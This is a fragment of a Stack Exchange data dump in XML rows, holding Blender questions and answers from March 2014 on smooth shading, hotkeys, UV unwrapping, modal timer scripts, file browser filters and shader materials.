  <row Id="7874" PostTypeId="1" AcceptedAnswerId="7875" CreationDate="2014-03-19T15:39:50.287" Score="4" ViewCount="1905" Body="&lt;p&gt;I am building a car engine and I want to set it to smooth shading. But for some reason it does not work.&#xA;Has anyone an idea how to fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/86i2u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can download the &lt;a href=&quot;http://www.pasteall.org/blend/27681&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2014-03-20T13:29:04.400" Title="Can't change to smooth shading" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7875" PostTypeId="2" ParentId="7874" CreationDate="2014-03-19T15:42:39.690" Score="8" Body="&lt;p&gt;You have an edge split modifier which is causing the faces to look like they are not smooth shaded, but they are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edge split modifier is splitting the surface into individual faces so it is no longer a single surface that can be smoothed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase the edge split angle on the modifier to reduce this effect.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-03-20T13:29:04.400" LastActivityDate="2014-03-20T13:29:04.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7876" PostTypeId="2" ParentId="7854" CreationDate="2014-03-19T15:44:31.903" Score="-3" Body="&lt;p&gt;I have it: (I have 2.7 but with 2.69 I had it too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P77sx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am &lt;em&gt;Compositing&lt;/em&gt; mode (shown in the upper bar on the screenshot), and I checked &lt;em&gt;Use Node&lt;/em&gt;, it's hidden on the screenshot, but it's just next to &lt;em&gt;Free Unused&lt;/em&gt;, in the bar in the middle of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;em&gt;Add&lt;/em&gt; and it should be there!&lt;/p&gt;&#xA;" OwnerUserId="2701" LastEditorUserId="28015" LastEditDate="2017-06-16T23:43:38.160" LastActivityDate="2017-06-16T23:43:38.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7878" PostTypeId="1" AcceptedAnswerId="7879" CreationDate="2014-03-19T16:33:50.047" Score="4" ViewCount="612" Body="&lt;p&gt;I'd like to assign hotkeys to certain actions, like for example &quot;Extrude Individual Faces&quot;? Is there a list of all possible commands somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in this picture &quot;view3d.edit_mesh_extrude_move_normal&quot; is the command or function. So where can I find a list of all possible commands so I can assign hotkeys to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2QtU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-19T16:52:42.487" LastActivityDate="2017-10-02T09:23:07.410" Title="How do I find the technical name for a function so I can assign a hotkey to it?" Tags="&lt;customization&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ClosedDate="2014-03-19T19:04:11.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="7879" PostTypeId="2" ParentId="7878" CreationDate="2014-03-19T17:24:43.947" Score="6" Body="&lt;p&gt;You can turn on &lt;em&gt;Python Tooltips&lt;/em&gt; in &lt;em&gt;User Preferences &gt;&#xA;Interface &gt; Display&lt;/em&gt;. Hover over the tool or button you&#xA;want to assign a shortcut for and the function (operator) name appears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jHD06.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHD06.png&quot; alt=&quot;Tooltip - Operator&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to copy that operator call and paste it into blenders python console &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;. Remove the brackets, type &lt;code&gt;.idname_py()&lt;/code&gt; and press &lt;kbd&gt;Enter&lt;/kbd&gt; to get the &lt;strong&gt;python identifier&lt;/strong&gt; of the operator, which can be used to create or edit shortcuts in &lt;em&gt;User Preferences &gt; Input&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/emhwT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/emhwT.png&quot; alt=&quot;Console - Operator Id&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&lt;/code&gt; &lt;br&gt;&#xA;Python identifier: &lt;code&gt;object.origin_set&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="31447" LastEditDate="2017-10-02T09:23:07.410" LastActivityDate="2017-10-02T09:23:07.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7880" PostTypeId="2" ParentId="7878" CreationDate="2014-03-19T17:55:30.033" Score="2" Body="&lt;p&gt;You can use the output in the info window to get the python equivalent command of an action. The info panel will echo all commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b197J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-19T17:55:30.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7881" PostTypeId="2" ParentId="7878" CreationDate="2014-03-19T18:35:00.197" Score="4" Body="&lt;p&gt;Many buttons will have an option to create (or if a shortcut already exists, remove or change) a shortcut when you right click on the relevant button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g5amw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-19T18:35:00.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7882" PostTypeId="2" ParentId="7854" CreationDate="2014-03-19T18:51:46.050" Score="2" Body="&lt;p&gt;The &quot;Blur&quot; node is only available in &quot;compositing&quot; node tree type. The type can be chosen at the bottom menu-bar of the Node Editor window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3 little icons correspond to the 3 node tree types available :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shader nodes (for materials)&lt;/li&gt;&#xA;&lt;li&gt;Compositing nodes&lt;/li&gt;&#xA;&lt;li&gt;Texture nodes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/96CYa.jpg&quot; alt=&quot;Node Editor tree types&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-19T18:51:46.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7883" PostTypeId="1" CreationDate="2014-03-19T19:21:02.700" Score="2" ViewCount="979" Body="&lt;p&gt;I work on modeling of human locomotion, I have a physical model of walking that runs on a gazebo like software (ODE based). I extracted the joint angles of a walking cycle in a file and want to use that to animate a body in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an already rigged model in blender and I would like to animate the model using the joint angles extracted from my model. I need some hints, because I am new to blender and don't know where to start. I guess it should be possible to directly access the armature from python for example and specify the orientation of each joint. Is that possible ? Is there any tool or example showing that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="2839" LastActivityDate="2014-04-19T12:51:33.080" Title="Using joint angles to animate a character" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7884" PostTypeId="2" ParentId="7847" CreationDate="2014-03-19T19:38:05.353" Score="1" Body="&lt;p&gt;If it's a keyboard shortcut you are looking for, you can try searching for the tool in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Input&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BwfAA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for external resources, you can try &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;, but beware that some parts are incomplete/out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another external resource which works well is google, usually searching for something like &quot;blender &amp;lt;&lt;em&gt;function name&lt;/em&gt;&gt;&quot; will get you results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if all else fails you can always ask here ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-19T19:38:05.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7885" PostTypeId="1" AcceptedAnswerId="7887" CreationDate="2014-03-19T19:42:05.503" Score="7" ViewCount="4019" Body="&lt;p&gt;Is it possible to run a script every few seconds or so, while letting the interface update in the meantime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2019-02-09T17:17:46.910" Title="How to run a python script at regular intervals?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7886" PostTypeId="2" ParentId="7873" CreationDate="2014-03-19T22:11:58.960" Score="4" Body="&lt;p&gt;You could transform the mesh to screen space (single locations: vertex coords, edge centers, face dots) and find the closest using (cursor-loc).length_squared, e.g. use this utility function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's pretty inefficient. There is no elegant way to retrieve a close-by geometry element. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could improve the search for a close location in 3d space using the new &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/mathutils.kdtree.html&quot; rel=&quot;nofollow&quot;&gt;KDTree Utilities (mathutils.kdtree)&lt;/a&gt;, but you need to re-generate the kdtree whenever the mesh changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paleajed's &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?313990-Preselection-build-on-GraphicAll-please-test!-R4-ObjectMode-curves-lattice-surface!/&quot; rel=&quot;nofollow&quot;&gt;Preselection builds&lt;/a&gt; might still contain python-exposed functions to retrieve a close element, at least older versions did (when the preselection highlighting was done in python, and the script used a patched-in function for a more efficient test).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on your goals, but you could highjack the actual operator that is used for selection making in UI, which is definately the most efficient way to select a close element. Here's a demo that selects the closest geometry element, and silently deselects it again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.data.is_editmode)&#xA;&#xA;    def invoke(self, context, event):&#xA;        me = context.object.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        verts_sel = [v.select for v in bm.verts]&#xA;        edges_sel = [e.select for e in bm.edges]&#xA;        faces_sel = [f.select for f in bm.faces]&#xA;&#xA;        loc = event.mouse_region_x, event.mouse_region_y&#xA;&#xA;        try:&#xA;            geom = bm.select_history[-1]&#xA;        except IndexError:&#xA;            geom = None&#xA;&#xA;        ret = bpy.ops.view3d.select(extend=True, location=loc)&#xA;        if ret == {'PASS_THROUGH'}:&#xA;            self.report({'INFO'}, &quot;no close-by geom&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        try:&#xA;            geom2 = bm.select_history[-1]&#xA;            print(&quot;geom2 sel 1st&quot;, geom2.select)&#xA;        except IndexError:&#xA;            geom2 = None&#xA;&#xA;        if geom is None:&#xA;            geom = geom2&#xA;&#xA;        if isinstance(geom, bmesh.types.BMVert):&#xA;            geom_sel = verts_sel&#xA;            bm_geom = bm.verts&#xA;        elif isinstance(geom, bmesh.types.BMEdge):&#xA;            geom_sel = edges_sel&#xA;            bm_geom = bm.edges&#xA;        elif isinstance(geom, bmesh.types.BMFace):&#xA;            geom_sel = faces_sel&#xA;            bm_geom = bm.faces&#xA;&#xA;        for sel, g in zip(geom_sel, bm_geom):&#xA;            if sel != g.select:&#xA;                g.select_set(False)&#xA;                bm.select_history.remove(g)&#xA;                bm.select_flush_mode()&#xA;                break&#xA;&#xA;&#xA;        self.report({'INFO'}, repr(geom))&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the operator via spacebar menu over 3D View. It should print the bmesh element in the info header. It does not change selection, if the geom element was selected however, it will become the active element.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-19T22:11:58.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7887" PostTypeId="2" ParentId="7885" CreationDate="2014-03-19T22:16:10.573" Score="11" Body="&lt;p&gt;See the &lt;strong&gt;Operator Modal Timer&lt;/strong&gt; template in the &lt;em&gt;Text Editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    _timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'ESC':&#xA;            return self.cancel(context)&#xA;&#xA;        if event.type == 'TIMER':&#xA;            # change theme color, silly!&#xA;            color = context.user_preferences.themes[0].view_3d.space.gradients.high_gradient&#xA;            color.s = 1.0&#xA;            color.h += 0.01&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        self._timer = context.window_manager.event_timer_add(0.1, context.window)&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        context.window_manager.event_timer_remove(self._timer)&#xA;        return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can specify the interval for the &lt;code&gt;'TIMER'&lt;/code&gt; event, but note that all active timers will be caught (there is no way to distinguish them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bpy.types.Timer.html#module-bpy.types&quot; rel=&quot;noreferrer&quot;&gt;timer class&lt;/a&gt; also comes with some handy attributes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if event.type == 'TIMER':&#xA;    print (self._timer.time_duration) # elapsed time since the operator call&#xA;    print (self._timer.time_delta)    # elapsed time since the last step&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beware of using threads, &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/info_gotcha.html#strange-errors-using-threading-module&quot; rel=&quot;noreferrer&quot;&gt;they can crash Blender.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="3710" LastEditDate="2016-12-17T15:29:51.663" LastActivityDate="2016-12-17T15:29:51.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7888" PostTypeId="2" ParentId="7852" CreationDate="2014-03-20T00:04:43.390" Score="3" Body="&lt;p&gt;In the first screen shoot, I have a &lt;code&gt;Keyboard&lt;/code&gt; &#xA;sensor, on the object ground plane, send a &lt;code&gt;message&lt;/code&gt; to all objects (the empty &lt;code&gt;To field&lt;/code&gt;) with a &lt;code&gt;Subject&lt;/code&gt; of &lt;code&gt;somthing&lt;/code&gt; (with the misspelling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Drag the images to a new tab to enlarge them.&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3RgWE.png&quot; alt=&quot;send message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second screen shoot, Now on the object &lt;code&gt;human&lt;/code&gt;. There is a message sensor listening for a message with the subject &lt;code&gt;somthing&lt;/code&gt;. When it receives a message (from any object) with the subject &lt;code&gt;somthing&lt;/code&gt; the connected &lt;code&gt;action&lt;/code&gt; actuator plays the animation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jiQim.png&quot; alt=&quot;receive message&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-03-20T00:04:43.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7889" PostTypeId="1" AcceptedAnswerId="7913" CreationDate="2014-03-20T03:32:41.313" Score="37" ViewCount="76185" Body="&lt;p&gt;I'm trying to unwrap a cube (I know, super complicated). I've got the seams marked, the UV editor open in a 2nd window, and all the geo highlighted. When I tell the cube to unwrap nothing happens. That's pretty much the long and short of the problem. Now I've been working off this one file for a couple weeks now, saving it off the original file and continuously cloning geometry. It's entirely possible I did something, pressed a button, something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts.&lt;/p&gt;&#xA;" OwnerUserId="2573" LastEditorUserId="3078" LastEditDate="2015-12-06T23:13:13.937" LastActivityDate="2015-12-06T23:13:13.937" Title="Why doesn't my unwrapped model appear in the UV Editor?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7890" PostTypeId="1" AcceptedAnswerId="7891" CreationDate="2014-03-20T07:50:19.710" Score="4" ViewCount="2104" Body="&lt;p&gt;I'm writing a python script that allow us to open a file in it like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0kwMb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a string properties wich is coded like that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.props.StringProperty(description=&quot;Path of .DAT File&quot;, default=&quot;C:&quot;, subtype='FILE_PATH') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user click on the little folder on right it open a file browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file browser, in my case I want to filter only the .DAT files. I know that it's possible to filter the extension of file for exemple here it filter the .py or .zip file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CmJJA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that with Python ?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2019-02-06T14:47:38.060" Title="Add a filter for the extension of a file in the file browser" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7891" PostTypeId="2" ParentId="7890" CreationDate="2014-03-20T08:09:41.357" Score="6" Body="&lt;p&gt;Unfortunately this isnt documented, however it &lt;em&gt;is&lt;/em&gt; used in the templates that come with blender, see &lt;code&gt;Text -&amp;gt; Templates -&amp;gt; Python -&amp;gt; Operator File Export&lt;/code&gt;, there is a &lt;code&gt;filter_glob&lt;/code&gt; string property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filter_glob = StringProperty(&#xA;        default=&quot;*.txt;*;*.py&quot;,&#xA;        options={'HIDDEN'},&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-20T08:09:41.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7892" PostTypeId="2" ParentId="7883" CreationDate="2014-03-20T12:27:51.113" Score="1" Body="&lt;p&gt;Yes it can be done, no I don't know any existing examples. The best I can think of is the &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/io_anim_bvh/&quot; rel=&quot;nofollow&quot;&gt;bvh import script&lt;/a&gt; or the &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/mocap/&quot; rel=&quot;nofollow&quot;&gt;Motion Capture tools&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/&quot; rel=&quot;nofollow&quot;&gt;python api&lt;/a&gt; is available online but you may find it easier to use the autocomplete feature in the python console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a hint to get started -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['metarig'].pose.bones[&quot;head&quot;].rotation_mode = 'XYZ'&#xA;&#xA;bpy.data.objects['metarig'].pose.bones['head'].rotation_euler[0] = 32&#xA;&#xA;bpy.data.objects['metarig'].pose.bones['head'].keyframe_insert(data_path=&quot;rotation_euler&quot;, frame = 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't say if this is the best or correct way to pose armatures by script.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-20T12:27:51.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7893" PostTypeId="1" CreationDate="2014-03-20T14:00:40.983" Score="7" ViewCount="123" Body="&lt;p&gt;I was thinking it might be useful to have default mesh object such as cubes, cylinders or other objects like the platonic solids etc from addons to default to come with premarked UV unwrapping seams when added to a scene. Is there a way to do this, perhaps with the startup file? Here is an example of what I was thinking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3k6w.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2016-03-11T04:59:39.440" Title="Is there a way to have default mesh objects come with premarked UV unwrapping seams?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7894" PostTypeId="1" CreationDate="2014-03-20T14:04:40.580" Score="0" ViewCount="222" Body="&lt;p&gt;How do I create a material for Batman's cape? I have already tried a black diffuse shader, but it is not good. I need some lights highlights so I tired glossy, too much highlights. So I made roughness higher, still bad.&lt;/p&gt;&#xA;" OwnerUserId="2846" LastEditorUserId="527" LastEditDate="2014-03-20T14:34:32.080" LastActivityDate="2016-08-06T21:14:07.380" Title="Batman cape material" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-20T15:46:31.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="7895" PostTypeId="1" CreationDate="2014-03-20T14:16:38.173" Score="3" ViewCount="3402" Body="&lt;p&gt;My issue is that I want to access the buffer data from python, pixel after pixel, for being able to use it for arbitrary computations. How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please dont tell me about exporting to different kinds of formats like exr etc, because I want to do computations  in place). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm talking about blender 2.68 or higher.&lt;/p&gt;&#xA;" OwnerUserId="16877" LastEditorUserId="16877" LastEditDate="2014-03-20T14:21:39.480" LastActivityDate="2015-03-19T11:03:28.957" Title="How to access depth (z) buffer data of a render result from python" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7896" PostTypeId="1" AcceptedAnswerId="7898" CreationDate="2014-03-20T14:32:58.983" Score="3" ViewCount="676" Body="&lt;p&gt;I can't find the entries in User Preferences (input tab) to change the keys for navigating in 3D view, using walk navigation mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it's bind to WASD keys, and since I have an AZERTY keyboard, it would be nicer to have ZQSD mapping to move the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it hard coded into Blender's source code ? Or do I miss the entries in User preferences ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2016-08-16T08:24:17.347" Title="change walk mode keys configuration" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7897" PostTypeId="2" ParentId="7894" CreationDate="2014-03-20T14:44:48.387" Score="3" Body="&lt;p&gt;Use &lt;i&gt;Mix Shaders&lt;/i&gt;. To the First slot add a &lt;i&gt;Velvet Shader&lt;/i&gt; with an almost black color. To the second slot add another &lt;i&gt;Mix Shader&lt;/i&gt;. To the second mix shaders First slot add simply an almost black &lt;i&gt;Diffuse shader&lt;/i&gt;. To the second mix shaders second slot add a brighter colored &lt;i&gt;Glossy Shader&lt;/i&gt; with a high roughness. The second mix shaders &lt;i&gt;Fac&lt;/i&gt; value should be low. Experiment with the two &lt;i&gt;Fac&lt;/i&gt; values.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-06T21:14:07.380" LastActivityDate="2016-08-06T21:14:07.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7898" PostTypeId="2" ParentId="7896" CreationDate="2014-03-20T14:47:56.617" Score="4" Body="&lt;p&gt;Nevermind, I finally found the entries in User preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into 'Input' tab, then into &lt;code&gt;3D view&lt;/code&gt; &gt; &lt;code&gt;View3D Walk Modal&lt;/code&gt;, all keys bindings are listed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly, we can not find it using the search tool at the top...&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-20T14:47:56.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7900" PostTypeId="2" ParentId="7895" CreationDate="2014-03-20T17:10:49.740" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Image.html?highlight=pixels#bpy.types.Image.pixels&quot; rel=&quot;nofollow&quot;&gt;Image.pixel&lt;/a&gt; is not available for Render Results, nor does it contain depth-information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the depth in Node Compositor / Cycles, but I don't believe it's possible to read with python in-place.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-20T17:10:49.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7901" PostTypeId="1" AcceptedAnswerId="7902" CreationDate="2014-03-20T17:42:33.673" Score="2" ViewCount="1351" Body="&lt;p&gt;I am trying to model a part of an airplane. I have a problem with some slight distortions in the mesh. How can I fix this so that it  looks like a smooth continuous surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dS5BS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTr4a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27716&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-20T17:48:16.830" LastActivityDate="2014-03-20T18:25:38.270" Title="How to fix topology seams" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
